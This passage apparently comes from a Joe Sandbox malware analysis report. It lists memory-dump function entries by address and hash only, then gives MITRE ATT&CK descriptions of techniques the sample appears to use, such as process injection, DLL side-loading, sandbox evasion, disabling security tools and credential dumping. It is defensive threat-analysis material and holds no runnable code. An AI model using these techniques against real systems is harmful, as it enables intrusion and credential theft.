Opcode ID: 91ce43b5f389994a8f400b6f8c63e6043bdf7b638e8d05e73fb68509609d55dd
Instruction ID: dc9fe96a11c9dc5fa861badf590f56eed0760cb719404d20a475a7a4eb46a370
Opcode Fuzzy Hash: 91ce43b5f389994a8f400b6f8c63e6043bdf7b638e8d05e73fb68509609d55dd
Instruction Fuzzy Hash: 24E16870B10214DFEB549F65E854B6E7BB2BF85700F108489E6029F3A1CB76ED468B92

Function 073DEDB0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2dcc63eaa39ac76d48c090fec9d6a7ee7529ae4bafcb677dda97e2d746030f
Instruction ID: e2822602534b42eb5c9e1469289ad0cc7fa1b6e25c372cef383385469baf8231
Opcode Fuzzy Hash: 6f2dcc63eaa39ac76d48c090fec9d6a7ee7529ae4bafcb677dda97e2d746030f
Instruction Fuzzy Hash: 67E149B5A01209DFEB01DFA8D480A9DBBF6FF49214F148159E809AB351D731ED46CB91

Function 06A00000 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae69340aeade0f326d2a308f6b1a28d1262c56052b26b454273eb6b4b20be398
Instruction ID: b7feff81a229caa89fba7e4cd66f8956e82d676280f36ae302e6fa441559992d
Opcode Fuzzy Hash: ae69340aeade0f326d2a308f6b1a28d1262c56052b26b454273eb6b4b20be398
Instruction Fuzzy Hash: E3D16970B04204DFEB45DF65D855B6A7BB6BF89300F14809AE6028F3A2CB76DD45CB92

Function 06A01530 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df3189f98cb7e18cbd5dec701987f5f5b7799453218c927182dd535c8edccbe3
Instruction ID: 12f63fc00840760bff84e6b99084348eff0eb20ef5eaa176de7e1fe11dc8ec46
Opcode Fuzzy Hash: df3189f98cb7e18cbd5dec701987f5f5b7799453218c927182dd535c8edccbe3
Instruction Fuzzy Hash: 81C16C34B20204AFCB05DF94C994E9DBBB2FF49700B90805AFA059F3A5C672ED15CB56

Function 06A03138 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a1ea222df6e2e1002f8c444b730b9040c16e3e385257714607812823bdd18a
Instruction ID: 0fe1160ee84631c285db6763ebcb110fe180f48ebaf4e32e42da9a03d127f7ca
Opcode Fuzzy Hash: e4a1ea222df6e2e1002f8c444b730b9040c16e3e385257714607812823bdd18a
Instruction Fuzzy Hash: 8D91AE74B102159FDB04DF69D884E9EBBF2FF88700B1580A9E905AB3A1DB30EC05CB61

Function 06A011A8 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 186408d6558e1110d0656d86fb955c99a819de68d2449845b60c668349a8fcb7
Instruction ID: b1a2e932d843eeb3114b96c70788c1736dcb3fc8839ece8a6cd988664889c8f5
Opcode Fuzzy Hash: 186408d6558e1110d0656d86fb955c99a819de68d2449845b60c668349a8fcb7
Instruction Fuzzy Hash: 8C512831B042058FEB51BBA9E8405AABBF5EFCA311B1485BED845CB691EB31CC45C7A1

Function 073DEFFE Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a9d9a48ebeec3ddbedb280904e8db7cc04c7c7d9a8795e8b2bb3a93283e813
Instruction ID: 3ea2eeb2ab7ad966b29d196c01ddb764d62c75e0e3eeba6c30cb1e7ba671c86a
Opcode Fuzzy Hash: b3a9d9a48ebeec3ddbedb280904e8db7cc04c7c7d9a8795e8b2bb3a93283e813
Instruction Fuzzy Hash: 1251F674A0120ADFDB05DFA8D984ADDBBB2FF49204F24C159E805AB364DB31ED46CB91

Function 073DCC68 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429b48fdbf741d614c3d6d7ff8ea89eae850edcfab0b6df9d57e9cddf6e382e3
Instruction ID: 103f97df372171deda4deb48a1f4599ab4bc3abff35b2cb666e0d1100c47da68
Opcode Fuzzy Hash: 429b48fdbf741d614c3d6d7ff8ea89eae850edcfab0b6df9d57e9cddf6e382e3
Instruction Fuzzy Hash: 7A4159B6310600DFD714CF69E998A2ABBFAFF89210B154599E14ACB772CB34EC41CB50

Function 073DCDE8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df0b96484d11b3d4d08515f4716d875d760461caeda73a46c8d3a8550a7ffef
Instruction ID: 25a0b3e59742704be18de6048c8b66012cbcb9342319dcb1b82c55a386a84bac
Opcode Fuzzy Hash: 2df0b96484d11b3d4d08515f4716d875d760461caeda73a46c8d3a8550a7ffef
Instruction Fuzzy Hash: 6831B6B1714600AFE7099B6CE444A6A77FBFFC961171441AAE10ACB7A1DB31DC42C790

Function 073DFAF0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c69e6099036b5244c90e7242ef941a7faccf4c230b244c9bd8c09a68d93b00
Instruction ID: aad54855b64ede878eba21d7ba255e81f70d484f1fa404fbb844ce4ab9f6c747
Opcode Fuzzy Hash: a7c69e6099036b5244c90e7242ef941a7faccf4c230b244c9bd8c09a68d93b00
Instruction Fuzzy Hash: C221A0F2B00206DFEB14EF75E8908BEBBB6BF89200B500169C45A9B361DB30DD01C791

Function 0158D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431823770.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 592b3b5e4f6c18358dc7d161a4c7716806e6d71668b0eb1f9ade76f093e442c5
Instruction ID: 39b85241bdf5149acf90f97f1c6b798985d361b0c8b9d839756ff5fcdad9b296
Opcode Fuzzy Hash: 592b3b5e4f6c18358dc7d161a4c7716806e6d71668b0eb1f9ade76f093e442c5
Instruction Fuzzy Hash: 5521E272504240DFDB15EF54D9C0B1ABBF5FB88314F24C669E9491E286C33AD817CBA2

Function 073D93E7 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a024305c57b73e4234473abaf7d47b665d38866e0f3e718a957466b50e565d1
Instruction ID: 4feee419df0092e19fd16b4ffb211d01373fb8d5c9aa0a18b6d9545bd24e63af
Opcode Fuzzy Hash: 0a024305c57b73e4234473abaf7d47b665d38866e0f3e718a957466b50e565d1
Instruction Fuzzy Hash: C22177B6C043599FDB11DFAAD884ACEBFF4EF49310F14805AE458AB211C334A949CFA5

Function 0159D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431864034.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3842e83baeba18d63857e25f89b47caf96dda6f001895e626f02890864695baf
Instruction ID: 09b344d87b4ef7144c09ea0efe244a3174623801f3146e98864de6961dac2f85
Opcode Fuzzy Hash: 3842e83baeba18d63857e25f89b47caf96dda6f001895e626f02890864695baf
Instruction Fuzzy Hash: 00210171604200EFDF11DF94D980B2ABBB5FB84321F24C969D8494F246C33AD446CAA2

Function 0159D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431864034.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97770676e3d13ccf46bf2c71fb32a4a3408cf6c0284961b059f2b48623c1bb08
Instruction ID: b78f62bc9956fad71991090fa22b3d3070b8b0e9fd905ad22885865b2076ed74
Opcode Fuzzy Hash: 97770676e3d13ccf46bf2c71fb32a4a3408cf6c0284961b059f2b48623c1bb08
Instruction Fuzzy Hash: 7B21F1716042009FDF05DF94D580B26BBB1FB84318F20C969D8094F242C37AD406CB63

Function 073DE080 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29e17c9c135630e622c85a64ab70b85170e53c6ab331cf4c26791d152e4bf95
Instruction ID: f660c968050cad3e2b14accf9b45aa5fa7f3fbf253cfb748618825852147b2ed
Opcode Fuzzy Hash: e29e17c9c135630e622c85a64ab70b85170e53c6ab331cf4c26791d152e4bf95
Instruction Fuzzy Hash: 53210832E04305AFDB04DB76EC0459EBBB6EFC6310B05817AE504DB111DB306915C791

Function 073DCF77 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af1c5da1c86c1eddafab4f117827344b9453e985f334d0b674bfdb196da1808c
Instruction ID: 51b72c4d9745ea2a0169885d7c90a5019a5b8ce746b89a79297d297663dfcbe0
Opcode Fuzzy Hash: af1c5da1c86c1eddafab4f117827344b9453e985f334d0b674bfdb196da1808c
Instruction Fuzzy Hash: FF1106BA2263509FDB258B24F5605EA7BF9BF85211304446EE88AC7182C734D945CB71

Function 0158D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431823770.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction ID: b5af411036ef997b22098dfc97c3da8d0f5a27317fe7644e0153779459e3daf2
Opcode Fuzzy Hash: 5ce60a6613beba357b00576ac525f5d38281a445edcd2f7d64ba7977a5eeb665
Instruction Fuzzy Hash: 76218E76504280DFCB16DF54D9C4B1ABFB2FB88314F2486A9D9491A256C33AD416CB91

Function 073D9414 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f75c49f642b20d22751cdd9af42726710de8d91f830f4d9a503941948828c40
Instruction ID: 4bebbc18c7fc50dbebd12aa1e2e649ca8cc9e11ea9fb62cd47ea4fcbee70014c
Opcode Fuzzy Hash: 2f75c49f642b20d22751cdd9af42726710de8d91f830f4d9a503941948828c40
Instruction Fuzzy Hash: DA21F2B6D003499FDB20DF9AD844ADEBFF4EB49310F508419E918A7310C375A945CFA1

Function 073DE140 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a029ec99f7be200f53d1fdb8866c5ea24995142d89fb9f750f8613087d582c9d
Instruction ID: 4753a1c77eefa2b7533e2251e41c440a2b3e292987801f5cf58c4e99f3401d36
Opcode Fuzzy Hash: a029ec99f7be200f53d1fdb8866c5ea24995142d89fb9f750f8613087d582c9d
Instruction Fuzzy Hash: 3D21F2B6D003499FDB10DFAAD844ADEBBF8FB48320F508419E918A7210C779A954CFA1

Function 073DF165 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d098b9f3aaa9ee564f793f19b16abc9b8e9f314187f476fda0dcd82fca579591
Instruction ID: b42037df42a23d92f1142018af59f633c2c0a43f5eb2a4890cc0d2abf611aea4
Opcode Fuzzy Hash: d098b9f3aaa9ee564f793f19b16abc9b8e9f314187f476fda0dcd82fca579591
Instruction Fuzzy Hash: E5212CB590020ADFEB01DFA8D484ADDBBF2AF49304F24C159E4157B324D731AE85CB91

Function 0159D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431864034.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction ID: c8880997094bef05f979bf99870acf3e5e0b69be479ca8a8973341af9748a955
Opcode Fuzzy Hash: bf2aa0ac69dbfc9ab00947b0048f034b327edea99ed69b312f674443a93577a4
Instruction Fuzzy Hash: 9B119D76504280CFDB12CF54D5C4B19BB72FB84324F28C6AAD8494B656C33AD44ACBA2

Function 0159D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1431864034.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 40c0719f519e619b970d1cec9da95d44963968e051b9e95b9b7f46ac111ea71c
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 40118B75504280DFDF06CF54D5C4B19BBB2FB88328F24C6AAD9494F696C33AD44ACB62

Function 073DDCA0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5756a3f978ef235dba778d8d58dbc54c11b3e10d1159b12efdbdfd1518c023bd
Instruction ID: 46c739ce0509bc765d11cdf9283c00045e7b0f5ac18905c75a71a15803971723
Opcode Fuzzy Hash: 5756a3f978ef235dba778d8d58dbc54c11b3e10d1159b12efdbdfd1518c023bd
Instruction Fuzzy Hash: 9101F4763012109FD74AA739F55856D7BF6FFC91203180175E04AC7391DF24AC16C791

Function 073DE070 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 286538abfc1e8f3c79eec5d430d30b59662f7b2febc6ad9a5c31521b2d926631
Instruction ID: 10dc5c4e01c9ba6bc71901f6293adabf7d5234e2d9c0fc384f9519d4bd03491f
Opcode Fuzzy Hash: 286538abfc1e8f3c79eec5d430d30b59662f7b2febc6ad9a5c31521b2d926631
Instruction Fuzzy Hash: 4EF0C876A04208AFEB45EF56E800DAE7BBAEBC4720B00C176E518DB215D7349D058B60

Function 073DDCB0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1357968544debfb428f0a005d03ca3169e08143ea22699fb3d4b98fbb77e8d8
Instruction ID: 7233211ef3517900456951b5104c7397da77133201fb9289c386a14bd461a7a3
Opcode Fuzzy Hash: b1357968544debfb428f0a005d03ca3169e08143ea22699fb3d4b98fbb77e8d8
Instruction Fuzzy Hash: 38F090363001109BD749A739F55852D77E6FBCC1613580238E40EC7790DF24AC128781

Function 073DFF9F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9733ee6c07e91bd855df70720d1bc04dee4165f8d36d6e8fac5398f95eeff0c
Instruction ID: 83cde3be6d4badfdb123d884df1be26b07bb0dfe6601155891ab3c0dce1c35f3
Opcode Fuzzy Hash: f9733ee6c07e91bd855df70720d1bc04dee4165f8d36d6e8fac5398f95eeff0c
Instruction Fuzzy Hash: E1E01A7310A35CAFCB029E84E8208DB7F29DA46360B188156F9445A152C2B29A61DBE2

Function 073DD210 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88df708ab24d1141c31f8a71e561bc7869b6c6320fd294ba0bc1c013c6aaa53c
Instruction ID: fe3976008518c1d8f341f1e6bb9552026e8ef832ac50568ac947283e218db2f7
Opcode Fuzzy Hash: 88df708ab24d1141c31f8a71e561bc7869b6c6320fd294ba0bc1c013c6aaa53c
Instruction Fuzzy Hash: 84D0C93615A3548FC342A728E965DD27BF89A0EA2031A81D3E009CF633C621ED48C7E2

Function 073DFFB0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7a6dab534813d32ca725406dbfd493b560dfc8b738e34249371e5b44b0d51e
Instruction ID: ca618394fb3b2f62e970101bb3dc0693156cb53d2ea8ba884767d20717471023
Opcode Fuzzy Hash: 4c7a6dab534813d32ca725406dbfd493b560dfc8b738e34249371e5b44b0d51e
Instruction Fuzzy Hash: D0D06C3314021DBB9F01AE85EC01DDB3B6AEB896A0B148015FE181A211C672AD61ABE1

Function 073D93BB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b1d3f767f125f11aca5089ed7b9654a72b876648d5d3cc7ab7e4867250df77b
Instruction ID: 527698e9b178bcc62dd7b31ae4517804af2c697bf4041451259116247350c151
Opcode Fuzzy Hash: 0b1d3f767f125f11aca5089ed7b9654a72b876648d5d3cc7ab7e4867250df77b
Instruction Fuzzy Hash: 70B092EB1A8750A2B114B2A19848A5AAA10ABA6B02F418812720D080519A20892EE22B

Function 073DE048 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6eb4d0e7142d8da6c9a3522326dda8e74ba47fcdf57b27e17603e897169087a
Instruction ID: cfcd3dbe9ccbedfc29f6387e004602e952a918969f9c15ed4aa2f2bfc04105ea
Opcode Fuzzy Hash: f6eb4d0e7142d8da6c9a3522326dda8e74ba47fcdf57b27e17603e897169087a
Instruction Fuzzy Hash: 92C012A610E3C079E3035A70AC048057F289A2362470A01C6A2D8450E382245829C327

Function 073DD220 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

